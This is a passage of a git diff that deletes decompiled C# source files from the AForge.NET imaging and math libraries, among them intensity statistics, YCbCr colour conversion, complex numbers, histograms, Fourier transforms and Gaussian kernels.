paramName) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/VerticalIntensityStatistics.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/VerticalIntensityStatistics.cs deleted file mode 100644 index cb1f474..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/VerticalIntensityStatistics.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math; - -namespace AForge.Imaging; - -public class VerticalIntensityStatistics -{ - private Histogram red; - - private Histogram green; - - private Histogram blue; - - private Histogram gray; - - public Histogram Red - { - get - { - if (red == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return red; - } - } - - public Histogram Green - { - get - { - if (green == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return green; - } - } - - public Histogram Blue - { - get - { - if (blue == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return blue; - } - } - - public Histogram Gray - { - get - { - if (gray == null) - { - throw new InvalidImagePropertiesException("Cannot access gray histogram since the last processed image was color."); - } - return gray; - } - } - - public bool IsGrayscale => gray != null; - - public VerticalIntensityStatistics(Bitmap image) - { - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_0011: Invalid comparison between Unknown and I4 - //IL_0082: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002e: Unknown result type (might be due to invalid IL or missing references) - //IL_0038: Invalid comparison between Unknown and I4 - //IL_003b: Unknown result type (might be due to invalid IL or missing references) - //IL_0045: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659 && (int)((Image)image).PixelFormat != 1052676 && (int)((Image)image).PixelFormat != 137224 && (int)((Image)image).PixelFormat != 139273 && (int)((Image)image).PixelFormat != 2498570 && (int)((Image)image).PixelFormat != 1060876 && (int)((Image)image).PixelFormat != 3424269) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - ProcessImage(new UnmanagedImage(val)); - } - finally - { - image.UnlockBits(val); - } - } - - public VerticalIntensityStatistics(BitmapData imageData) - : this(new UnmanagedImage(imageData)) - { - } - - public VerticalIntensityStatistics(UnmanagedImage image) - { - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_0011: Invalid comparison between Unknown and I4 - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002e: Unknown result type (might be due to invalid IL or missing references) - //IL_0038: Invalid comparison between Unknown and I4 - //IL_003b: Unknown result type (might be due to invalid IL or missing references) - //IL_0045: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 1052676 && (int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 1060876 && (int)image.PixelFormat != 3424269) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - ProcessImage(image); - } - - private unsafe void ProcessImage(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_003d: Unknown result type (might be due to invalid IL or missing references) - //IL_0043: Invalid comparison between Unknown and I4 - //IL_00b0: Unknown result type (might be due to invalid IL or missing references) - //IL_00b6: Invalid comparison between Unknown and I4 - //IL_012b: Unknown result type (might be due to invalid IL or missing references) - //IL_0131: Invalid comparison between Unknown and I4 - //IL_0157: Unknown result type (might be due to invalid IL or missing references) - //IL_015d: Invalid comparison between Unknown and I4 - //IL_0133: Unknown result type (might be due to invalid IL or missing references) - //IL_0139: Invalid comparison between Unknown and I4 - //IL_013b: Unknown result type (might be due to invalid IL or missing references) - //IL_0141: Invalid comparison between Unknown and I4 - //IL_021c: Unknown result type (might be due to invalid IL or missing references) - //IL_0222: Invalid comparison between Unknown and I4 - //IL_0248: Unknown result type (might be due to invalid IL or missing references) - //IL_024e: Invalid comparison between Unknown and I4 - //IL_0224: Unknown result type (might be due to invalid IL or missing references) - //IL_022a: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - red = (green = (blue = (gray = null))); - if ((int)pixelFormat == 198659) - { - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num = image.Stride - width; - int[] array = new int[height]; - for (int i = 0; i < height; i++) - { - int num2 = 0; - int num3 = 0; - while (num3 < width) - { - num2 += *ptr; - num3++; - ptr++; - } - array[i] = num2; - ptr += num; - } - gray = new Histogram(array); - } - else if ((int)pixelFormat == 1052676) - { - byte* ptr2 = (byte*)image.ImageData.ToPointer(); - int stride = image.Stride; - int[] array2 = new int[height]; - for (int j = 0; j < height; j++) - { - ushort* ptr3 = (ushort*)(ptr2 + (nint)stride * (nint)j); - int num4 = 0; - int num5 = 0; - while (num5 < width) - { - num4 += *ptr3; - num5++; - ptr3++; - } - array2[j] = num4; - } - gray = new Histogram(array2); - } - else if ((int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - byte* ptr4 = (byte*)image.ImageData.ToPointer(); - int num6 = (((int)pixelFormat == 137224) ? 3 : 4); - int num7 = image.Stride - width * num6; - int[] array3 = new int[height]; - int[] array4 = new int[height]; - int[] array5 = new int[height]; - for (int k = 0; k < height; k++) - { - int num8 = 0; - int num9 = 0; - int num10 = 0; - int num11 = 0; - while (num11 < width) - { - num8 += ptr4[2]; - num9 += ptr4[1]; - num10 += *ptr4; - num11++; - ptr4 += num6; - } - array3[k] = num8; - array4[k] = num9; - array5[k] = num10; - ptr4 += num7; - } - red = new Histogram(array3); - green = new Histogram(array4); - blue = new Histogram(array5); - } - else - { - if ((int)pixelFormat != 1060876 && (int)pixelFormat != 3424269) - { - return; - } - byte* ptr5 = (byte*)image.ImageData.ToPointer(); - int stride2 = image.Stride; - int num12 = (((int)pixelFormat == 1060876) ? 3 : 4); - int[] array6 = new int[height]; - int[] array7 = new int[height]; - int[] array8 = new int[height]; - for (int l = 0; l < height; l++) - { - ushort* ptr6 = (ushort*)(ptr5 + (nint)stride2 * (nint)l); - int num13 = 0; - int num14 = 0; - int num15 = 0; - int num16 = 0; - while (num16 < width) - { - num13 += ptr6[2]; - num14 += ptr6[1]; - num15 += *ptr6; - num16++; - ptr6 += num12; - } - array6[l] = num13; - array7[l] = num14; - array8[l] = num15; - } - red = new Histogram(array6); - green = new Histogram(array7); - blue = new Histogram(array8); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/YCbCr.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/YCbCr.cs deleted file mode 100644 index 0a8e164..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/YCbCr.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; - -namespace AForge.Imaging; - -public class YCbCr -{ - public const short YIndex = 0; - - public const short CbIndex = 1; - - public const short CrIndex = 2; - - public float Y; - - public float Cb; - - public float Cr; - - public YCbCr() - { - } - - public YCbCr(float y, float cb, float cr) - { - Y = System.Math.Max(0f, System.Math.Min(1f, y)); - Cb = System.Math.Max(-0.5f, System.Math.Min(0.5f, cb)); - Cr = System.Math.Max(-0.5f, System.Math.Min(0.5f, cr)); - } - - public static void FromRGB(RGB rgb, YCbCr ycbcr) - { - float num = (float)(int)rgb.Red / 255f; - float num2 = (float)(int)rgb.Green / 255f; - float num3 = (float)(int)rgb.Blue / 255f; - ycbcr.Y = (float)(0.2989 * (double)num + 0.5866 * (double)num2 + 0.1145 * (double)num3); - ycbcr.Cb = (float)(-0.1687 * (double)num - 0.3313 * (double)num2 + 0.5 * (double)num3); - ycbcr.Cr = (float)(0.5 * (double)num - 0.4184 * (double)num2 - 0.0816 * (double)num3); - } - - public static YCbCr FromRGB(RGB rgb) - { - YCbCr yCbCr = new YCbCr(); - FromRGB(rgb, yCbCr); - return yCbCr; - } - - public static void ToRGB(YCbCr ycbcr, RGB rgb) - { - float num = System.Math.Max(0f, System.Math.Min(1f, (float)((double)ycbcr.Y + 0.0 * (double)ycbcr.Cb + 1.4022 * (double)ycbcr.Cr))); - float num2 = System.Math.Max(0f, System.Math.Min(1f, (float)((double)ycbcr.Y - 0.3456 * (double)ycbcr.Cb - 0.7145 * (double)ycbcr.Cr))); - float num3 = System.Math.Max(0f, System.Math.Min(1f, (float)((double)ycbcr.Y + 1.771 * (double)ycbcr.Cb + 0.0 * (double)ycbcr.Cr))); - rgb.Red = (byte)(num * 255f); - rgb.Green = (byte)(num2 * 255f); - rgb.Blue = (byte)(num3 * 255f); - rgb.Alpha = byte.MaxValue; - } - - public RGB ToRGB() - { - RGB rGB = new RGB(); - ToRGB(this, rGB); - return rGB; - } -} diff --git a/output/Libraries/AForge.Imaging/Properties/AssemblyInfo.cs b/output/Libraries/AForge.Imaging/Properties/AssemblyInfo.cs deleted file mode 100644 index 50a0409..0000000 --- a/output/Libraries/AForge.Imaging/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; - -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("AForge")] -[assembly: AssemblyCopyright("AForge © 2012")] -[assembly: AssemblyFileVersion("2.2.5.0")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("AForge.NET")] -[assembly: AssemblyTitle("AForge.Imaging")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("0c6c72f4-7281-4822-9414-cc0758a88abc")] -[assembly: AssemblyVersion("2.2.5.0")] diff --git a/output/Libraries/AForge.Math/AForge.Math.csproj b/output/Libraries/AForge.Math/AForge.Math.csproj deleted file mode 100644 index de4468a..0000000 --- a/output/Libraries/AForge.Math/AForge.Math.csproj +++ /dev/null @@ -1,18 +0,0 @@ - - - AForge.Math - False - net20 - - - 12.0 - True - - - - - - ../../../desktop/AForge.dll - - - \ No newline at end of file diff --git a/output/Libraries/AForge.Math/AForge/Math/Complex.cs b/output/Libraries/AForge.Math/AForge/Math/Complex.cs deleted file mode 100644 index a2db0ee..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Complex.cs +++ /dev/null @@ -1,473 +0,0 @@ -using System; -using System.Runtime.Serialization; -using System.Text.RegularExpressions; - -namespace AForge.Math; - -public struct Complex : ICloneable, ISerializable -{ - public double Re; - - public double Im; - - public static readonly Complex Zero = new Complex(0.0, 0.0); - - public static readonly Complex One = new Complex(1.0, 0.0); - - public static readonly Complex I = new Complex(0.0, 1.0); - - public double Magnitude => System.Math.Sqrt(Re * Re + Im * Im); - - public double Phase => System.Math.Atan2(Im, Re); - - public double SquaredMagnitude => Re * Re + Im * Im; - - public Complex(double re, double im) - { - Re = re; - Im = im; - } - - public Complex(Complex c) - { - Re = c.Re; - Im = c.Im; - } - - public static Complex Add(Complex a, Complex b) - { - return new Complex(a.Re + b.Re, a.Im + b.Im); - } - - public static Complex Add(Complex a, double s) - { - return new Complex(a.Re + s, a.Im); - } - - public static void Add(Complex a, Complex b, ref Complex result) - { - result.Re = a.Re + b.Re; - result.Im = a.Im + b.Im; - } - - public static void Add(Complex a, double s, ref Complex result) - { - result.Re = a.Re + s; - result.Im = a.Im; - } - - public static Complex Subtract(Complex a, Complex b) - { - return new Complex(a.Re - b.Re, a.Im - b.Im); - } - - public static Complex Subtract(Complex a, double s) - { - return new Complex(a.Re - s, a.Im); - } - - public static Complex Subtract(double s, Complex a) - { - return new Complex(s - a.Re, a.Im); - } - - public static void Subtract(Complex a, Complex b, ref Complex result) - { - result.Re = a.Re - b.Re; - result.Im = a.Im - b.Im; - } - - public static void Subtract(Complex a, double s, ref Complex result) - { - result.Re = a.Re - s; - result.Im = a.Im; - } - - public static void Subtract(double s, Complex a, ref Complex result) - { - result.Re = s - a.Re; - result.Im = a.Im; - } - - public static Complex Multiply(Complex a, Complex b) - { - double re = a.Re; - double im = a.Im; - double re2 = b.Re; - double im2 = b.Im; - return new Complex(re * re2 - im * im2, re * im2 + im * re2); - } - - public static Complex Multiply(Complex a, double s) - { - return new Complex(a.Re * s, a.Im * s); - } - - public static void Multiply(Complex a, Complex b, ref Complex result) - { - double re = a.Re; - double im = a.Im; - double re2 = b.Re; - double im2 = b.Im; - result.Re = re * re2 - im * im2; - result.Im = re * im2 + im * re2; - } - - public static void Multiply(Complex a, double s, ref Complex result) - { - result.Re = a.Re * s; - result.Im = a.Im * s; - } - - public static Complex Divide(Complex a, Complex b) - { - double re = a.Re; - double im = a.Im; - double re2 = b.Re; - double im2 = b.Im; - double num = re2 * re2 + im2 * im2; - if (num == 0.0) - { - throw new DivideByZeroException("Can not divide by zero."); - } - double num2 = 1.0 / num; - return new Complex((re * re2 + im * im2) * num2, (im * re2 - re * im2) * num2); - } - - public static Complex Divide(Complex a, double s) - { - if (s == 0.0) - { - throw new DivideByZeroException("Can not divide by zero."); - } - return new Complex(a.Re / s, a.Im / s); - } - - public static Complex Divide(double s, Complex a) - { - if (a.Re == 0.0 || a.Im == 0.0) - { - throw new DivideByZeroException("Can not divide by zero."); - } - return new Complex(s / a.Re, s / a.Im); - } - - public static void Divide(Complex a, Complex b, ref Complex result) - { - double re = a.Re; - double im = a.Im; - double re2 = b.Re; - double im2 = b.Im; - double num = re2 * re2 + im2 * im2; - if (num == 0.0) - { - throw new DivideByZeroException("Can not divide by zero."); - } - double num2 = 1.0 / num; - result.Re = (re * re2 + im * im2) * num2; - result.Im = (im * re2 - re * im2) * num2; - } - - public static void Divide(Complex a, double s, ref Complex result) - { - if (s == 0.0) - { - throw new DivideByZeroException("Can not divide by zero."); - } - result.Re = a.Re / s; - result.Im = a.Im / s; - } - - public static void Divide(double s, Complex a, ref Complex result) - { - if (a.Re == 0.0 || a.Im == 0.0) - { - throw new DivideByZeroException("Can not divide by zero."); - } - result.Re = s / a.Re; - result.Im = s / a.Im; - } - - public static Complex Negate(Complex a) - { - return new Complex(0.0 - a.Re, 0.0 - a.Im); - } - - public static bool ApproxEqual(Complex a, Complex b) - { - return ApproxEqual(a, b, 8.881784197001252E-16); - } - - public static bool ApproxEqual(Complex a, Complex b, double tolerance) - { - if (System.Math.Abs(a.Re - b.Re) <= tolerance) - { - return System.Math.Abs(a.Im - b.Im) <= tolerance; - } - return false; - } - - public static Complex Parse(string s) - { - Regex regex = new Regex("\\((?.*),(?.*)\\)", RegexOptions.None); - Match match = regex.Match(s); - if (match.Success) - { - return new Complex(double.Parse(match.Result("${real}")), double.Parse(match.Result("${imaginary}"))); - } - throw new FormatException("String representation of the complex number is not correctly formatted."); - } - - public static bool TryParse(string s, out Complex result) - { - try - { - Complex complex = Parse(s); - result = complex; - return true; - } - catch (FormatException) - { - result = default(Complex); - return false; - } - } - - public static Complex Sqrt(Complex a) - { - Complex zero = Zero; - if (a.Re == 0.0 && a.Im == 0.0) - { - return zero; - } - if (a.Im == 0.0) - { - zero.Re = ((a.Re > 0.0) ? System.Math.Sqrt(a.Re) : System.Math.Sqrt(0.0 - a.Re)); - zero.Im = 0.0; - } - else - { - double magnitude = a.Magnitude; - zero.Re = System.Math.Sqrt(0.5 * (magnitude + a.Re)); - zero.Im = System.Math.Sqrt(0.5 * (magnitude - a.Re)); - if (a.Im < 0.0) - { - zero.Im = 0.0 - zero.Im; - } - } - return zero; - } - - public static Complex Log(Complex a) - { - Complex zero = Zero; - if (a.Re > 0.0 && a.Im == 0.0) - { - zero.Re = System.Math.Log(a.Re); - zero.Im = 0.0; - } - else if (a.Re == 0.0) - { - if (a.Im > 0.0) - { - zero.Re = System.Math.Log(a.Im); - zero.Im = System.Math.PI / 2.0; - } - else - { - zero.Re = System.Math.Log(0.0 - a.Im); - zero.Im = -System.Math.PI / 2.0; - } - } - else - { - zero.Re = System.Math.Log(a.Magnitude); - zero.Im = System.Math.Atan2(a.Im, a.Re); - } - return zero; - } - - public static Complex Exp(Complex a) - { - Complex zero = Zero; - double num = System.Math.Exp(a.Re); - zero.Re = num * System.Math.Cos(a.Im); - zero.Im = num * System.Math.Sin(a.Im); - return zero; - } - - public static Complex Sin(Complex a) - { - Complex zero = Zero; - if (a.Im == 0.0) - { - zero.Re = System.Math.Sin(a.Re); - zero.Im = 0.0; - } - else - { - zero.Re = System.Math.Sin(a.Re) * System.Math.Cosh(a.Im); - zero.Im = System.Math.Cos(a.Re) * System.Math.Sinh(a.Im); - } - return zero; - } - - public static Complex Cos(Complex a) - { - Complex zero = Zero; - if (a.Im == 0.0) - { - zero.Re = System.Math.Cos(a.Re); - zero.Im = 0.0; - } - else - { - zero.Re = System.Math.Cos(a.Re) * System.Math.Cosh(a.Im); - zero.Im = (0.0 - System.Math.Sin(a.Re)) * System.Math.Sinh(a.Im); - } - return zero; - } - - public static Complex Tan(Complex a) - { - Complex zero = Zero; - if (a.Im == 0.0) - { - zero.Re = System.Math.Tan(a.Re); - zero.Im = 0.0; - } - else - { - double num = 2.0 * a.Re; - double value = 2.0 * a.Im; - double num2 = System.Math.Cos(num) + System.Math.Cosh(num); - zero.Re = System.Math.Sin(num) / num2; - zero.Im = System.Math.Sinh(value) / num2; - } - return zero; - } - - public override int GetHashCode() - { - return Re.GetHashCode() ^ Im.GetHashCode(); - } - - public override bool Equals(object obj) - { - if (!(obj is Complex)) - { - return false; - } - return this == (Complex)obj; - } - - public override string ToString() - { - return $"({Re}, {Im})"; - } - - public static bool operator ==(Complex u, Complex v) - { - if (u.Re == v.Re) - { - return u.Im == v.Im; - } - return false; - } - - public static bool operator !=(Complex u, Complex v) - { - return !(u == v); - } - - public static Complex operator -(Complex a) - { - return Negate(a); - } - - public static Complex operator +(Complex a, Complex b) - { - return Add(a, b); - } - - public static Complex operator +(Complex a, double s) - { - return Add(a, s); - } - - public static Complex operator +(double s, Complex a) - { - return Add(a, s); - } - - public static Complex operator -(Complex a, Complex b) - { - return Subtract(a, b); - } - - public static Complex operator -(Complex a, double s) - { - return Subtract(a, s); - } - - public static Complex operator -(double s, Complex a) - { - return Subtract(s, a); - } - - public static Complex operator *(Complex a, Complex b) - { - return Multiply(a, b); - } - - public static Complex operator *(double s, Complex a) - { - return Multiply(a, s); - } - - public static Complex operator *(Complex a, double s) - { - return Multiply(a, s); - } - - public static Complex operator /(Complex a, Complex b) - { - return Divide(a, b); - } - - public static Complex operator /(Complex a, double s) - { - return Divide(a, s); - } - - public static Complex operator /(double s, Complex a) - { - return Divide(s, a); - } - - public static explicit operator Complex(float value) - { - return new Complex(value, 0.0); - } - - public static explicit operator Complex(double value) - { - return new Complex(value, 0.0); - } - - object ICloneable.Clone() - { - return new Complex(this); - } - - public Complex Clone() - { - return new Complex(this); - } - - public void GetObjectData(SerializationInfo info, StreamingContext context) - { - info.AddValue("Real", Re); - info.AddValue("Imaginary", Im); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/ContinuousHistogram.cs b/output/Libraries/AForge.Math/AForge/Math/ContinuousHistogram.cs deleted file mode 100644 index d81df59..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/ContinuousHistogram.cs +++ /dev/null @@ -1,134 +0,0 @@ -using System; - -namespace AForge.Math; - -[Serializable] -public class ContinuousHistogram -{ - private int[] values; - - private Range range; - - private float mean; - - private float stdDev; - - private float median; - - private float min; - - private float max; - - private int total; - - public int[] Values => values; - - public Range Range => range; - - public float Mean => mean; - - public float StdDev => stdDev; - - public float Median => median; - - public float Min => min; - - public float Max => max; - - public ContinuousHistogram(int[] values, Range range) - { - this.values = values; - this.range = range; - Update(); - } - - public Range GetRange(float percent) - { - int num = (int)((float)total * (percent + (1f - percent) / 2f)); - int num2 = values.Length; - int num3 = num2 - 1; - int i = 0; - int num4 = total; - for (; i < num2; i++) - { - num4 -= values[i]; - if (num4 < num) - { - break; - } - } - int num5 = num3; - num4 = total; - while (num5 >= 0) - { - num4 -= values[num5]; - if (num4 < num) - { - break; - } - num5--; - } - return new Range((float)i / (float)num3 * range.Length + range.Min, (float)num5 / (float)num3 * range.Length + range.Min); - } - - public void Update() - { - int num = values.Length; - int num2 = num - 1; - float length = range.Length; - float num3 = range.Min; - max = 0f; - min = num; - mean = 0f; - stdDev = 0f; - total = 0; - double num4 = 0.0; - int num5; - for (int i = 0; i < num; i++) - { - num5 = values[i]; - if (num5 != 0) - { - if ((float)i > max) - { - max = i; - } - if ((float)i < min) - { - min = i; - } - } - total += num5; - num4 += ((double)i / (double)num2 * (double)length + (double)num3) * (double)num5; - } - if (total != 0) - { - mean = (float)(num4 / (double)total); - } - min = min / (float)num2 * length + num3; - max = max / (float)num2 * length + num3; - num4 = 0.0; - for (int i = 0; i < num; i++) - { - num5 = values[i]; - double num6 = (double)i / (double)num2 * (double)length + (double)num3 - (double)mean; - num4 += num6 * num6 * (double)num5; - } - if (total != 0) - { - stdDev = (float)System.Math.Sqrt(num4 / (double)total); - } - int num7 = total / 2; - int j = 0; - num5 = 0; - for (; j < num; j++) - { - num5 += values[j]; - if (num5 >= num7) - { - break; - } - } - median = (float)j / (float)num2 * length + num3; - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/FourierTransform.cs b/output/Libraries/AForge.Math/AForge/Math/FourierTransform.cs deleted file mode 100644 index 8a94da4..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/FourierTransform.cs +++ /dev/null @@ -1,280 +0,0 @@ -using System; - -namespace AForge.Math; - -public static class FourierTransform -{ - public enum Direction - { - Forward = 1, - Backward = -1 - } - - private const int minLength = 2; - - private const int maxLength = 16384; - - private const int minBits = 1; - - private const int maxBits = 14; - - private static int[][] reversedBits = new int[14][]; - - private static Complex[,][] complexRotation = new Complex[14, 2][]; - - public static void DFT(Complex[] data, Direction direction) - { - int num = data.Length; - Complex[] array = new Complex[num]; - for (int i = 0; i < num; i++) - { - ref Complex reference = ref array[i]; - reference = Complex.Zero; - double num2 = (double)(0 - direction) * 2.0 * System.Math.PI * (double)i / (double)num; - for (int j = 0; j < num; j++) - { - double num3 = System.Math.Cos((double)j * num2); - double num4 = System.Math.Sin((double)j * num2); - array[i].Re += data[j].Re * num3 - data[j].Im * num4; - array[i].Im += data[j].Re * num4 + data[j].Im * num3; - } - } - if (direction == Direction.Forward) - { - for (int k = 0; k < num; k++) - { - data[k].Re = array[k].Re / (double)num; - data[k].Im = array[k].Im / (double)num; - } - } - else - { - for (int l = 0; l < num; l++) - { - data[l].Re = array[l].Re; - data[l].Im = array[l].Im; - } - } - } - - public static void DFT2(Complex[,] data, Direction direction) - { - int length = data.GetLength(0); - int length2 = data.GetLength(1); - Complex[] array = new Complex[System.Math.Max(length, length2)]; - for (int i = 0; i < length; i++) - { - for (int j = 0; j < length2; j++) - { - ref Complex reference = ref array[j]; - reference = Complex.Zero; - double num = (double)(0 - direction) * 2.0 * System.Math.PI * (double)j / (double)length2; - for (int k = 0; k < length2; k++) - { - double num2 = System.Math.Cos((double)k * num); - double num3 = System.Math.Sin((double)k * num); - array[j].Re += data[i, k].Re * num2 - data[i, k].Im * num3; - array[j].Im += data[i, k].Re * num3 + data[i, k].Im * num2; - } - } - if (direction == Direction.Forward) - { - for (int l = 0; l < length2; l++) - { - data[i, l].Re = array[l].Re / (double)length2; - data[i, l].Im = array[l].Im / (double)length2; - } - } - else - { - for (int m = 0; m < length2; m++) - { - data[i, m].Re = array[m].Re; - data[i, m].Im = array[m].Im; - } - } - } - for (int n = 0; n < length2; n++) - { - for (int num4 = 0; num4 < length; num4++) - { - ref Complex reference2 = ref array[num4]; - reference2 = Complex.Zero; - double num = (double)(0 - direction) * 2.0 * System.Math.PI * (double)num4 / (double)length; - for (int num5 = 0; num5 < length; num5++) - { - double num2 = System.Math.Cos((double)num5 * num); - double num3 = System.Math.Sin((double)num5 * num); - array[num4].Re += data[num5, n].Re * num2 - data[num5, n].Im * num3; - array[num4].Im += data[num5, n].Re * num3 + data[num5, n].Im * num2; - } - } - if (direction == Direction.Forward) - { - for (int num6 = 0; num6 < length; num6++) - { - data[num6, n].Re = array[num6].Re / (double)length; - data[num6, n].Im = array[num6].Im / (double)length; - } - } - else - { - for (int num7 = 0; num7 < length; num7++) - { - data[num7, n].Re = array[num7].Re; - data[num7, n].Im = array[num7].Im; - } - } - } - } - - public static void FFT(Complex[] data, Direction direction) - { - int num = data.Length; - int num2 = Tools.Log2(num); - ReorderData(data); - int num3 = 1; - for (int i = 1; i <= num2; i++) - { - Complex[] array = GetComplexRotation(i, direction); - int num4 = num3; - num3 <<= 1; - for (int j = 0; j < num4; j++) - { - Complex complex = array[j]; - for (int k = j; k < num; k += num3) - { - int num5 = k + num4; - Complex complex2 = data[k]; - Complex complex3 = data[num5]; - double num6 = complex3.Re * complex.Re - complex3.Im * complex.Im; - double num7 = complex3.Re * complex.Im + complex3.Im * complex.Re; - data[k].Re += num6; - data[k].Im += num7; - data[num5].Re = complex2.Re - num6; - data[num5].Im = complex2.Im - num7; - } - } - } - if (direction == Direction.Forward) - { - for (int l = 0; l < num; l++) - { - data[l].Re /= num; - data[l].Im /= num; - } - } - } - - public static void FFT2(Complex[,] data, Direction direction) - { - int length = data.GetLength(0); - int length2 = data.GetLength(1); - if (!Tools.IsPowerOf2(length) || !Tools.IsPowerOf2(length2) || length < 2 || length > 16384 || length2 < 2 || length2 > 16384) - { - throw new ArgumentException("Incorrect data length."); - } - Complex[] array = new Complex[length2]; - for (int i = 0; i < length; i++) - { - for (int j = 0; j < length2; j++) - { - ref Complex reference = ref array[j]; - reference = data[i, j]; - } - FFT(array, direction); - for (int k = 0; k < length2; k++) - { - ref Complex reference2 = ref data[i, k]; - reference2 = array[k]; - } - } - Complex[] array2 = new Complex[length]; - for (int l = 0; l < length2; l++) - { - for (int m = 0; m < length; m++) - { - ref Complex reference3 = ref array2[m]; - reference3 = data[m, l]; - } - FFT(array2, direction); - for (int n = 0; n < length; n++) - { - ref Complex reference4 = ref data[n, l]; - reference4 = array2[n]; - } - } - } - - private static int[] GetReversedBits(int numberOfBits) - { - if (numberOfBits < 1 || numberOfBits > 14) - { - throw new ArgumentOutOfRangeException(); - } - if (reversedBits[numberOfBits - 1] == null) - { - int num = Tools.Pow2(numberOfBits); - int[] array = new int[num]; - for (int i = 0; i < num; i++) - { - int num2 = i; - int num3 = 0; - for (int j = 0; j < numberOfBits; j++) - { - num3 = (num3 << 1) | (num2 & 1); - num2 >>= 1; - } - array[i] = num3; - } - reversedBits[numberOfBits - 1] = array; - } - return reversedBits[numberOfBits - 1]; - } - - private static Complex[] GetComplexRotation(int numberOfBits, Direction direction) - { - int num = ((direction != Direction.Forward) ? 1 : 0); - if (complexRotation[numberOfBits - 1, num] == null) - { - int num2 = 1 << numberOfBits - 1; - double num3 = 1.0; - double num4 = 0.0; - double num5 = System.Math.PI / (double)num2 * (double)direction; - double num6 = System.Math.Cos(num5); - double num7 = System.Math.Sin(num5); - Complex[] array = new Complex[num2]; - for (int i = 0; i < num2; i++) - { - ref Complex reference = ref array[i]; - reference = new Complex(num3, num4); - double num8 = num3 * num7 + num4 * num6; - num3 = num3 * num6 - num4 * num7; - num4 = num8; - } - complexRotation[numberOfBits - 1, num] = array; - } - return complexRotation[numberOfBits - 1, num]; - } - - private static void ReorderData(Complex[] data) - { - int num = data.Length; - if (num < 2 || num > 16384 || !Tools.IsPowerOf2(num)) - { - throw new ArgumentException("Incorrect data length."); - } - int[] array = GetReversedBits(Tools.Log2(num)); - for (int i = 0; i < num; i++) - { - int num2 = array[i]; - if (num2 > i) - { - Complex complex = data[i]; - ref Complex reference = ref data[i]; - reference = data[num2]; - data[num2] = complex; - } - } - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Gaussian.cs b/output/Libraries/AForge.Math/AForge/Math/Gaussian.cs deleted file mode 100644 index c2efdeb..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Gaussian.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System; - -namespace AForge.Math; - -public class Gaussian -{ - private double sigma = 1.0; - - private double sqrSigma = 1.0; - - public double Sigma - { - get - { - return sigma; - } - set - { - sigma = System.Math.Max(1E-08, value); - sqrSigma = sigma * sigma; - } - } - - public Gaussian() - { - } - - public Gaussian(double sigma) - { - Sigma = sigma; - } - - public double Function(double x) - { - return System.Math.Exp(x * x / (-2.0 * sqrSigma)) / (System.Math.Sqrt(System.Math.PI * 2.0) * sigma); - } - - public double Function2D(double x, double y) - { - return System.Math.Exp((x * x + y * y) / (-2.0 * sqrSigma)) / (System.Math.PI * 2.0 * sqrSigma); - } - - public double[] Kernel(int size) - { - if (size % 2 == 0 || size < 3 || size > 101) - { - throw new ArgumentException("Wrong kernal size."); - } - int num = size / 2; - double[] array = new double[size]; - int num2 = -num; - for (int i = 0; i < size; i++) - { - array[i] = Function(num2); - num2++; - } - return array; - } - - public double[,] Kernel2D(int size) - { - if (size % 2 == 0 